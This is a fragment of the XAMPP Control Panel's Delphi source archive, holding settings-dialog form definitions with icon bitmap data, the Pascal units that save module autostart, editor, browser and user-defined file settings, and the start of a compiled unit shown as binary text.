F7FB6EC8E56FC9E46FC9E46FC9E47DCFE784D0E8BAE5F2FFFFFFFFFFFF59C2E0 61C3E263C4E363C4E363C4E362C4E356C0E0EDF8FCF3FAFDF3FAFDF3FAFDF3FA FDF3FBFDFCFEFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF} TabOrder = 4 OnClick = bSelectBrowserClick ExplicitLeft = 403 end object eBrowser: TEdit Left = 10 Top = 89 Width = 384 Height = 25 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akLeft, akTop, akRight] TabOrder = 5 ExplicitWidth = 385 end object cbDebug: TCheckBox Left = 19 Top = 339 Width = 195 Height = 21 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Show debug information' TabOrder = 6 OnClick = cbDebugClick end object cbDebugDetails: TComboBox Left = 252 Top = 337 Width = 185 Height = 25 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Style = csDropDownList TabOrder = 7 Items.Strings = ( 'Details' 'More Details') end object grpAutostart: TGroupBox Left = 9 Top = 122 Width = 427 Height = 124 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akLeft, akTop, akRight] Caption = ' Autostart of modules ' TabOrder = 8 ExplicitWidth = 428 DesignSize = ( 427 124) object lblAutostart: TLabel Left = 10 Top = 81 Width = 404 Height = 35 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akLeft, akTop, akRight] AutoSize = False Caption = 'Selected modules will be started on next launch of the Control P' + 'anel.' Color = clHighlight Font.Charset = DEFAULT_CHARSET Font.Color = clBlue Font.Height = -15 Font.Name = 'Tahoma' Font.Style = [] ParentColor = False ParentFont = False WordWrap = True ExplicitWidth = 405 end object cbASApache: TCheckBox Left = 10 Top = 26 Width = 127 Height = 22 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Apache' TabOrder = 0 end object cbASMySQL: TCheckBox Left = 10 Top = 56 Width = 127 Height = 22 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'MySQL' TabOrder = 1 end object cbASFileZilla: TCheckBox Left = 145 Top = 26 Width = 126 Height = 22 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'FileZilla' TabOrder = 2 end object cbASMercury: TCheckBox Left = 145 Top = 55 Width = 126 Height = 22 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Mercury' TabOrder = 3 end object cbASTomcat: TCheckBox Left = 267 Top = 31 Width = 97 Height = 17 Caption = 'Tomcat' TabOrder = 4 end end object cbCheckDefaultPorts: TCheckBox Left = 19 Top = 309 Width = 289 Height = 21 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Check default ports on startup' TabOrder = 9 OnClick = cbDebugClick end object bLanguage: TBitBtn Left = 20 Top = 383 Width = 195 Height = 32 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Change Language' TabOrder = 10 OnClick = bLanguageClick end object bConfigUserdefined: TBitBtn Left = 20 Top = 431 Width = 195 Height = 32 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Cancel = True Caption = 'User Defined Files' ModalResult = 7 NumGlyphs = 2 TabOrder = 11 OnClick = bConfigUserdefinedClick end object cbTomcatVisible: TCheckBox Left = 19 Top = 279 Width = 289 Height = 21 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Enable Tomcat output window' TabOrder = 12 OnClick = cbDebugClick end object bLogSettings: TButton Left = 252 Top = 431 Width = 185 Height = 32 Caption = 'Log Options' TabOrder = 13 OnClick = bLogSettingsClick end object bServiceSettings: TButton Left = 252 Top = 383 Width = 185 Height = 33 Caption = 'Service and Port Settings' TabOrder = 14 OnClick = bServiceSettingsClick end object cbMinimized: TCheckBox Left = 20 Top = 253 Width = 221 Height = 17 Caption = 'Start Control Panel Minimized' TabOrder = 15 end object OpenDialog: TOpenDialog DefaultExt = 'exe' Filter = 'Executables (*.exe)|*.exe|All files (*.*)|*.*' Options = [ofHideReadOnly, ofPathMustExist, ofFileMustExist, ofEnableSizing] Left = 136 Top = 4 end end xampp-control-panel/uConfig.pas000066600000010670151723641500012557 0ustar00unit uConfig; interface uses GnuGettext, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, uTools; type TfConfig = class(TForm) bSelectEditor: TBitBtn; eEditor: TEdit; OpenDialog: TOpenDialog; lblEditor: TLabel; bSave: TBitBtn; bAbort: TBitBtn; lblBrowser: TLabel; bSelectBrowser: TBitBtn; eBrowser: TEdit; cbDebug: TCheckBox; cbDebugDetails: TComboBox; grpAutostart: TGroupBox; cbASApache: TCheckBox; cbASMySQL: TCheckBox; cbASFileZilla: TCheckBox; cbASMercury: TCheckBox; lblAutostart: TLabel; cbCheckDefaultPorts: TCheckBox; bLanguage: TBitBtn; bConfigUserdefined: TBitBtn; cbTomcatVisible: TCheckBox; bLogSettings: TButton; bServiceSettings: TButton; cbASTomcat: TCheckBox; cbMinimized: TCheckBox; procedure bAbortClick(Sender: TObject); procedure bSaveClick(Sender: TObject); procedure FormShow(Sender: TObject); procedure bSelectEditorClick(Sender: TObject); procedure bSelectBrowserClick(Sender: TObject); procedure cbDebugClick(Sender: TObject); procedure bLanguageClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormKeyPress(Sender: TObject; var Key: Char); procedure bConfigUserdefinedClick(Sender: TObject); procedure bLogSettingsClick(Sender: TObject); procedure bServiceSettingsClick(Sender: TObject); private { Private-Deklarationen } public end; var fConfig: TfConfig; implementation uses uMain, uLanguage, uConfigUserDefined, uLogOptions, uServiceSettings; {$R *.dfm} procedure TfConfig.bSelectBrowserClick(Sender: TObject); var dp: string; begin dp := ExtractFilePath(eBrowser.Text); if dp <> '' then begin OpenDialog.InitialDir := dp; OpenDialog.FileName := ExtractFileName(eBrowser.Text); end; if OpenDialog.Execute then eBrowser.Text := OpenDialog.FileName; end; procedure TfConfig.bSelectEditorClick(Sender: TObject); var dp: string; begin dp := ExtractFilePath(eEditor.Text); if dp <> '' then begin OpenDialog.InitialDir := dp; OpenDialog.FileName := ExtractFileName(eEditor.Text); end; if OpenDialog.Execute then eEditor.Text := OpenDialog.FileName; end; procedure TfConfig.bServiceSettingsClick(Sender: TObject); begin fServiceSettings.ShowModal; end; procedure TfConfig.bLogSettingsClick(Sender: TObject); begin fLogOptions.ShowModal; end; procedure TfConfig.cbDebugClick(Sender: TObject); begin cbDebugDetails.Visible := cbDebug.Checked; end; procedure TfConfig.bLanguageClick(Sender: TObject); begin fLanguage.ShowModal; end; procedure TfConfig.bConfigUserdefinedClick(Sender: TObject); begin fConfigUserDefined.ShowModal; end; procedure TfConfig.bSaveClick(Sender: TObject); begin Config.EditorApp := Trim(eEditor.Text); Config.BrowserApp := Trim(eBrowser.Text); Config.ShowDebug := cbDebug.Checked; Config.DebugLevel := cbDebugDetails.ItemIndex; Config.EnableChecks.CheckDefaultPorts := cbCheckDefaultPorts.Checked; Config.TomcatVisible := cbTomcatVisible.Checked; Config.Minimized := cbMinimized.Checked; Config.ASApache := cbASApache.Checked; Config.ASMySQL := cbASMySQL.Checked; Config.ASFileZilla := cbASFileZilla.Checked; Config.ASMercury := cbASMercury.Checked; Config.ASTomcat := cbASTomcat.Checked; SaveSettings; Close; end; procedure TfConfig.bAbortClick(Sender: TObject); begin Close; end; procedure TfConfig.FormCreate(Sender: TObject); begin TranslateComponent(Self); end; procedure TfConfig.FormKeyPress(Sender: TObject; var Key: Char); begin if Key = #27 then begin Key := #0; bAbort.Click; end; end; procedure TfConfig.FormShow(Sender: TObject); begin eEditor.Text := Config.EditorApp; eBrowser.Text := Config.BrowserApp; cbDebug.Checked := Config.ShowDebug; cbDebugDetails.Visible := cbDebug.Checked; cbDebugDetails.ItemIndex := Config.DebugLevel; cbCheckDefaultPorts.Checked := Config.EnableChecks.CheckDefaultPorts; cbTomcatVisible.Checked := Config.TomcatVisible; cbMinimized.Checked := Config.Minimized; cbASApache.Checked := Config.ASApache; cbASMySQL.Checked := Config.ASMySQL; cbASFileZilla.Checked := Config.ASFileZilla; cbASMercury.Checked := Config.ASMercury; cbASTomcat.Checked := Config.ASTomcat; end; end. xampp-control-panel/uConfigUserDefined.dfm000066600000035360151723641500014663 0ustar00object fConfigUserDefined: TfConfigUserDefined Left = 487 Top = 248 Caption = 'User-defined log/config-files' ClientHeight = 306 ClientWidth = 728 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] OldCreateOrder = False Position = poScreenCenter OnCreate = FormCreate OnKeyPress = FormKeyPress OnShow = FormShow DesignSize = ( 728 306) PixelsPerInch = 120 TextHeight = 16 object lblDescription1: TLabel Left = 10 Top = 10 Width = 466 Height = 19 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Enter user defined files. Files must be relative to xampp-basedi' + 'r!' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -17 Font.Name = 'Arial' Font.Style = [] ParentFont = False end object lblDescription2: TLabel Left = 10 Top = 35 Width = 324 Height = 19 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Example: "apache\conf\extra\httpd-info.conf"' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -17 Font.Name = 'Arial' Font.Style = [] ParentFont = False end object bSave: TBitBtn Left = 621 Top = 264 Width = 98 Height = 33 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akRight, akBottom] Caption = 'Save' Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FAF7F9FBF9FF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFF7FAF837833D347D3AF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8FBF8408E4754A35C4F9F5733 7D39F8FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF F8FBF8499A515BAC6477CA8274C87E51A059347E3AF8FBF9FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFF8FCF951A65A63B56D7ECE897BCC8776CA8176 C98152A25A357F3BF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9FCFA59B063 6BBD7684D2907AC98560B26A63B46D78C98378CB8253A35C36803CF9FBF9FFFF FFFFFFFFFFFFFFFFFFFFD3ECD66CBD7679C98680CE8D53A75CB2D6B59CC9A05C AD677CCC8679CB8554A45D37813DF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFD9EFDC 6CBD756DC079B5DBB9FFFFFFFFFFFF98C79D5EAE687DCD897CCD8756A55F3882 3EF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFD5EDD8BEE2C3FFFFFFFFFFFFFFFFFFFF FFFF99C89D5FAF697FCE8A7ECE8957A66039833FF9FBF9FFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF99C89E60B06A81CF8D7FCF 8B58A761398540F9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF99C99E62B26C82D18F7AC88557A6609FC4A2FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9ACA9F63B3 6D5FAF69A5CBA9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFF9ACA9FA5CEA9FFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF} ModalResult = 1 TabOrder = 0 OnClick = bSaveClick ExplicitTop = 312 end object bAbort: TBitBtn Left = 515 Top = 264 Width = 98 Height = 33 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akRight, akBottom] Caption = 'Abort' Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCECEFAF9F9FEFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFF8F8FEC6C5F8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF D1D0FB4F4CF24140EDF9F9FEFFFFFFFFFFFFFFFFFFFFFFFFF8F8FE2725E4312F EAC6C5F8FFFFFFFFFFFFFFFFFFD3D3FC5856F56361FA5855F64341EDF9F9FEFF FFFFFFFFFFF9F8FE2E2DE6413FF14C4AF6312FEAC6C5F8FFFFFFFFFFFFE3E3FD 5B58F66562FA7170FF5956F64442EEF9F9FEF9F9FE3734E94745F26362FF4A48 F42F2DE9DAD9FAFFFFFFFFFFFFFFFFFFE3E3FD5B59F66663FA7471FF5A58F645 43EE403EEC504DF46867FF504EF53634EBDBDBFBFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFE3E3FD5C5AF66764FA7472FF7370FF706EFF6E6CFF5755F73F3DEEDCDC FBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE4E3FD5D5BF77976FF59 56FF5754FF7270FF4846F0DEDEFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFAFAFF5E5BF67D79FF5E5BFF5B58FF7674FF4744EFF9F9FEFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAFAFF6865F9706DFB807EFF7E 7BFF7C79FF7977FF5E5CF74946EFF9F9FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FBFAFF706DFC7774FD8682FF7673FC6462F8605DF76D6AFA7B79FF605DF74A47 EFF9F9FEFFFFFFFFFFFFFFFFFFFBFBFF7572FE7D7AFE8A87FF7C79FD6C69FBE5 E4FEE4E4FE615EF86E6CFA7D7AFF615FF74B48F0FBFBFFFFFFFFFFFFFFEEEEFF 7A77FF817EFF817EFE7471FDE6E6FEFFFFFFFFFFFFE4E4FE625FF86F6DFB7E7C FF625FF8B0AFF8FEFEFFFFFFFFFFFFFFEEEEFF7A77FF7976FEE7E7FFFFFFFFFF FFFFFFFFFFFFFFFFE4E4FE6461F86A68F98E8CF7E3E2FDFFFFFFFFFFFFFFFFFF FFFFFFEEEEFFE8E8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE5E4FEB8B8 FCD7D6FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F9FFFFFFFFFFFFFFFFFFFF} ModalResult = 3 TabOrder = 1 OnClick = bAbortClick ExplicitTop = 312 end object pcUserDefConf: TPageControl Left = 8 Top = 79 Width = 712 Height = 178 ActivePage = pApache TabOrder = 2 object pApache: TTabSheet Caption = 'Apache' ExplicitHeight = 166 object pnlApache: TPanel Left = 0 Top = 0 Width = 701 Height = 145 ParentBackground = False TabOrder = 2 object lblApacheConf: TLabel Left = 10 Top = 13 Width = 47 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Config' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end object lblApacheLogs: TLabel Left = 358 Top = 13 Width = 35 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Logs' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end end object mLogsApache: TMemo Left = 358 Top = 37 Width = 341 Height = 100 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ScrollBars = ssBoth TabOrder = 1 end object mConfigApache: TMemo Left = 9 Top = 37 Width = 341 Height = 100 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ScrollBars = ssBoth TabOrder = 0 end end object pMySQL: TTabSheet Caption = 'MySQL' ImageIndex = 1 ExplicitHeight = 186 object pnlMySQL: TPanel Left = 0 Top = 0 Width = 701 Height = 145 ParentBackground = False TabOrder = 2 object lblMySQLConf: TLabel Left = 10 Top = 13 Width = 47 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Config' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end object lblMySQLLogs: TLabel Left = 358 Top = 13 Width = 35 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Logs' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end end object mConfigMySQL: TMemo Left = 9 Top = 37 Width = 341 Height = 100 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ScrollBars = ssBoth TabOrder = 0 end object mLogsMySQL: TMemo Left = 358 Top = 37 Width = 341 Height = 100 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ScrollBars = ssBoth TabOrder = 1 end end object pFileZilla: TTabSheet Caption = 'FileZilla' ImageIndex = 2 ExplicitHeight = 186 object pnlFileZilla: TPanel Left = 0 Top = 0 Width = 701 Height = 145 ParentBackground = False TabOrder = 2 object lblFileZillaConf: TLabel Left = 10 Top = 13 Width = 47 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Config' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end object lblFileZillaLogs: TLabel Left = 358 Top = 13 Width = 35 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Logs' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end end object mConfigFilezilla: TMemo Left = 9 Top = 37 Width = 341 Height = 100 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ScrollBars = ssBoth TabOrder = 0 end object mLogsFileZilla: TMemo Left = 358 Top = 37 Width = 341 Height = 100 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ScrollBars = ssBoth TabOrder = 1 end end object pMercury: TTabSheet Caption = 'Mercury' ImageIndex = 3 ExplicitHeight = 186 object pnlMercury: TPanel Left = 0 Top = 0 Width = 701 Height = 145 ParentBackground = False TabOrder = 2 object lblMercuryConf: TLabel Left = 10 Top = 13 Width = 47 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Config' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end object lblMercuryLogs: TLabel Left = 358 Top = 13 Width = 35 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Logs' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end end object mLogsMercury: TMemo Left = 358 Top = 37 Width = 341 Height = 100 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ScrollBars = ssBoth TabOrder = 0 end object mConfigMercury: TMemo Left = 9 Top = 37 Width = 341 Height = 100 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ScrollBars = ssBoth TabOrder = 1 end end object TabSheet5: TTabSheet Caption = 'Tomcat' ImageIndex = 4 ExplicitHeight = 186 object pnlTomcat: TPanel Left = 0 Top = 0 Width = 701 Height = 145 ParentBackground = False TabOrder = 2 object lblTomcatConf: TLabel Left = 10 Top = 13 Width = 47 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Config' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end object lblTomcatLogs: TLabel Left = 358 Top = 13 Width = 35 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Logs' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end end object mConfigTomcat: TMemo Left = 9 Top = 37 Width = 341 Height = 100 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ScrollBars = ssBoth TabOrder = 0 end object mLogsTomcat: TMemo Left = 358 Top = 37 Width = 341 Height = 100 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ScrollBars = ssBoth TabOrder = 1 end end end end xampp-control-panel/uConfigUserDefined.pas000066600000006564151723641500014704 0ustar00unit uConfigUserDefined; interface uses GnuGettext, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, uTools, Vcl.ComCtrls, Vcl.ExtCtrls; type TfConfigUserDefined = class(TForm) lblDescription1: TLabel; bSave: TBitBtn; bAbort: TBitBtn; lblDescription2: TLabel; pcUserDefConf: TPageControl; pApache: TTabSheet; pMySQL: TTabSheet; pFileZilla: TTabSheet; pMercury: TTabSheet; TabSheet5: TTabSheet; mConfigApache: TMemo; mLogsApache: TMemo; mConfigMySQL: TMemo; mLogsMySQL: TMemo; mConfigFilezilla: TMemo; mLogsFileZilla: TMemo; mLogsMercury: TMemo; mConfigMercury: TMemo; mConfigTomcat: TMemo; mLogsTomcat: TMemo; pnlApache: TPanel; lblApacheConf: TLabel; lblApacheLogs: TLabel; pnlMySQL: TPanel; lblMySQLConf: TLabel; lblMySQLLogs: TLabel; pnlFileZilla: TPanel; lblFileZillaConf: TLabel; lblFileZillaLogs: TLabel; pnlMercury: TPanel; lblMercuryConf: TLabel; lblMercuryLogs: TLabel; pnlTomcat: TPanel; lblTomcatConf: TLabel; lblTomcatLogs: TLabel; procedure FormCreate(Sender: TObject); procedure FormShow(Sender: TObject); procedure bAbortClick(Sender: TObject); procedure bSaveClick(Sender: TObject); procedure FormKeyPress(Sender: TObject; var Key: Char); private procedure Memo2Config; procedure Config2Memo; public { Public-Deklarationen } end; var fConfigUserDefined: TfConfigUserDefined; implementation {$R *.dfm} { TfConfigUserDefined } procedure TfConfigUserDefined.bAbortClick(Sender: TObject); begin Close; end; procedure TfConfigUserDefined.bSaveClick(Sender: TObject); begin Memo2Config; SaveSettings; end; procedure TfConfigUserDefined.Memo2Config; begin Config.UserConfig.Apache.Text := mConfigApache.Text; Config.UserConfig.MySQL.Text := mConfigMySQL.Text; Config.UserConfig.FileZilla.Text := mConfigFilezilla.Text; Config.UserConfig.Mercury.Text := mConfigMercury.Text; Config.UserConfig.Tomcat.Text := mConfigTomcat.Text; Config.UserLogs.Apache.Text := mLogsApache.Text; Config.UserLogs.MySQL.Text := mLogsMySQL.Text; Config.UserLogs.FileZilla.Text := mLogsFileZilla.Text; Config.UserLogs.Mercury.Text := mLogsMercury.Text; Config.UserLogs.Tomcat.Text := mLogsTomcat.Text; end; procedure TfConfigUserDefined.Config2Memo; begin mConfigApache.Text := Config.UserConfig.Apache.Text; mConfigMySQL.Text := Config.UserConfig.MySQL.Text; mConfigFilezilla.Text := Config.UserConfig.FileZilla.Text; mConfigMercury.Text := Config.UserConfig.Mercury.Text; mConfigTomcat.Text := Config.UserConfig.Tomcat.Text; mLogsApache.Text := Config.UserLogs.Apache.Text; mLogsMySQL.Text := Config.UserLogs.MySQL.Text; mLogsFileZilla.Text := Config.UserLogs.FileZilla.Text; mLogsMercury.Text := Config.UserLogs.Mercury.Text; mLogsTomcat.Text := Config.UserLogs.Tomcat.Text; end; procedure TfConfigUserDefined.FormCreate(Sender: TObject); begin TranslateComponent(self); end; procedure TfConfigUserDefined.FormKeyPress(Sender: TObject; var Key: Char); begin if Key = #27 then begin Key := #0; Close; exit; end; end; procedure TfConfigUserDefined.FormShow(Sender: TObject); begin Config2Memo; end; end. xampp-control-panel/uExceptionDialog.dcu000066600000101324151723641500014415 0ustar00KԂlBs_uExceptionDialogv!fPBytefPInteger%Mh0fByte&gSizeOfgFalse*gAssignedg@IntOver`pg@HandleAnyException`pg @DoneExcept`pg@UStrClr\>g@HandleFinally`pgTrue*f TDateTimeWg @UStrLAsgZ3g @UStrCatN`pg @CallDynaInst`pg @UStrArrayClrg LoadResString8uf PResStringRecfg MainThreadIDff PAnsiChar}xg TObject.Free6gTObject.ClassName:g @BoundErr`pg@UStrCatZ3g@_lldiv`pg @UStrCat3cgTObject.ClassType9fTClassfPPointer#gOrdf PWideCharD?g@UStrFromWChar 0g ExceptAddr)g@IsClass9NܜcdSysInitg HInstance򳃪cdWinapi.WindowsfDWORDg SendMessagePo'g SendMessageg.TButton-ҟf TCustomEditg:gTCustomMemo.SetScrollBarsRN" f TScrollStyle{#3g ssVerticalgssNonecd Vcl.ExtCtrlsfTBevelYwg.TBevel-cd Vcl.AppEvntsfTApplicationEventsVsfTCustomApplicationEventsc*g.TApplicationEvents9hgTCustomApplicationEvents.Create?zcd JclSysUtilsgIsCompiledWithPackages\gWriteProtectedMemoryM.f TJclSimpleLogWg.TJclSimpleLog۷pgTJclSimpleLog.Create$gTJclSimpleLog.WriteStamp-gTJclSimpleLog.Write)gTJclSimpleLog.CloseLog'cdJclUnitVersioningfTUnitVersioningc%fTUnitVersioningModulenf TUnitVersionK$gGetUnitVersioning: g TUnitVersioning.RegisterProvider: gTUnitVersioning.GetModuleCount: gTUnitVersioning.GetModule: gTUnitVersioningModule.GetCount<gTUnitVersioningModule.GetItems;gTUnitVersion.LogPathv9_gTUnitVersion.RCSfiler9_gTUnitVersion.Revisions9_gTUnitVersion.Datet9_cdJclUnitVersioningProvidersf!TJclDefaultUnitVersioningProviderTfFg".TJclDefaultUnitVersioningProvideru(DcdJclDebugfTJclDebugThreadgJclValidateModuleAddressSpfTJclStackInfoListf׵,fTJclDebugThreadList]gJclGetExceptStackList"fTJclStackBaseListbgTJclStackInfoList.AddToStringsgJclCreateThreadStackTraceFromIDҘ^bgJclDebugThreadList7rbg$TJclDebugThreadList.GetThreadIDCountIrbgTJclDebugThreadList.GetThreadIDHrbgJclCreateThreadStackTracexg#TJclDebugThreadList.GetThreadHandleGrbg"TJclDebugThreadList.GetThreadInfosBrbg"TJclDebugThreadList.GetThreadNamesCrbgIsIgnoredExceptionjC=gTJclDebugThread.GetThreadInfo6gJclStackTrackingOptionsC7mUfTJclStackTrackingOptionogstTraceAllExceptions$gstStaticModuleListgJclHookThreads\gJclStartExceptionTracking\gJclTrackExceptionsFromLibraries\gJclStopExceptionTracking\gJclUnhookThreads\ce Vcl.Clipbrdg ClipboardYcf TClipboard5gTClipboard.SetAsTexthcce System.MathceJclBasefTJclAddrfSizeIntsg HexDigitFmt^g HexDigitFmt32^g HexDigitFmt64xhce JclFileUtilsgVersionResourceAvailableܓ fTJclFileVersionInfo/ikg.TJclFileVersionInfo=I/gTJclFileVersionInfo.Createxug%TJclFileVersionInfo.GetBinFileVersioniug&TJclFileVersionInfo.GetVersionKeyValuevuce JclHookExceptgJclUnhookExceptions\ce JclPeImagegPeMapImgResolvePackageThunk9uf TJclPeTarget9ngPeMapImgTarget gtaWin32gPeMapImgNtHeaders32~gtaWin64gPeMapImgNtHeaders64yce JclStringsgNativeLineBreakT ^g StrRepeatNigStrEnsureSuffix _fg NativeCrLfT ^gStrRemoveCharsLgStrRemoveCharsibce 